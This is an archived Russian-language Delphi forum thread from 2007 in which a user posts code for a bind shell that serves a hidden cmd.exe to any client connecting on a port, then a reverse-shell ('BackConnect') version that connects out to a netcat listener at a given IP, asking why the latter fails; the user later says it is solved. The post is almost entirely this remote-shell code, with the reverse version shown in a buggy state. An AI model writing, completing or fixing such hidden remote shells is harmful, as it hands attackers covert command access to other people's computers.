Главная страница
Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2007.10.07;
Скачать: CL | DM;

Вниз

BackConnect на Delphi помогите плз.....   Найти похожие ветки 

 
22b   (2007-02-10 19:29) [0]

Добрый день....
столкнулся я со следуюющей проблемой реализовал вывод cmd в порт локальный...вот ф-я:
[CODE]
unction SetShell(port:integer):boolean;
 var
 WSAData: TWSAData;
 FSocket: integer;
 SockAddrIn: TSockAddrIn;
 sHandle: dword;
 St: TStartupInfo;
 Pr: TProcessInformation;
begin
 WSAStartup($202, WSAData);
 FSocket := WSASocketA(PF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
 SockAddrIn.sin_family := AF_INET;
 SockAddrIn.sin_port := htons(port);
 bind(FSocket, SockAddrIn, 16);
 listen(FSocket, 0);
 while true do
   begin
     sHandle := accept(FSocket, nil, 0);
     if sHandle <> INVALID_SOCKET then
     begin
       ZeroMemory(@St, SizeOf(TStartupInfo));
       St.cb := SizeOf(TStartupInfo);
       St.wShowWindow := SW_HIDE;
       St.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
       St.hStdInput := sHandle;
       St.hStdOutput := sHandle;
       St.hStdError := sHandle;
       CreateProcess(nil, "cmd.exe", nil, nil, true, 0, nil, nil, St, Pr);
       CloseHandle(sHandle);
       CloseHandle(Pr.hProcess);
       CloseHandle(Pr.hThread);
     end;
   end;
end;
[/CODE]
А вот сейчас задумал реализовать BackConnect на открытый на прослушку порт нетката и ничего не могу поделать.... не работает и все
вот что получилось у меня в коде...

[CODE]
function SetShell(port:integer;ip:string):boolean;
 var
 WSAData: TWSAData;
 FSocket: integer;
 SockAddrOut: TSockAddrIn;
 sHandle: dword;
 St: TStartupInfo;
 Pr: TProcessInformation;
begin
 WSAStartup($202, WSAData);
 FSocket := WSASocketA(PF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
 SockAddrOut.sin_family := AF_INET;
 SockAddrOut.sin_port := htons(port);
 SockAddrOut.sin_addr:=LookupName(ip);
 connect(FSocket, SockAddrOut, sizeof(SockAddrOut));
 ShowMessage(inttostr(sHandle));
 //listen(FSocket, 0);

     //sHandle := accept(FSocket, nil, size);
     if sHandle <> INVALID_SOCKET then
     begin
       ZeroMemory(@St, SizeOf(TStartupInfo));
       St.cb := SizeOf(TStartupInfo);
       St.wShowWindow := SW_HIDE;
       St.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
       St.hStdInput := sHandle;
       St.hStdOutput := sHandle;
       St.hStdError := sHandle;
       CreateProcess(nil, "cmd.exe", nil, nil, true, 0, nil, nil, St, Pr);
       CloseHandle(sHandle);
       CloseHandle(Pr.hProcess);
       CloseHandle(Pr.hThread);
     end;
end;
[/CODE]

Заранеее спасибо за ответ...


 
22b   (2007-02-10 19:34) [1]

не актуально проблема решена!!!!!!!



Страницы: 1 вся ветка

Текущий архив: 2007.10.07;
Скачать: CL | DM;

Наверх




Память: 0.47 MB
Время: 0.019 c
8-1167326372
nali
2006-12-28 20:19
2007.10.07
Посоветуйте компоненты для работы с gif, jpg, png


2-1189576036
KazaModeDelphi
2007-09-12 09:47
2007.10.07
Получение TBitmap из друг....


2-1189326951
Jimmy
2007-09-09 12:35
2007.10.07
Refresh собственного компонента при изменении свойства


4-1175969967
AGGRESSOR
2007-04-07 22:19
2007.10.07
GUI (redirect output from console application)


15-1189424595
MZ
2007-09-10 15:43
2007.10.07
Управление пользователями FireBird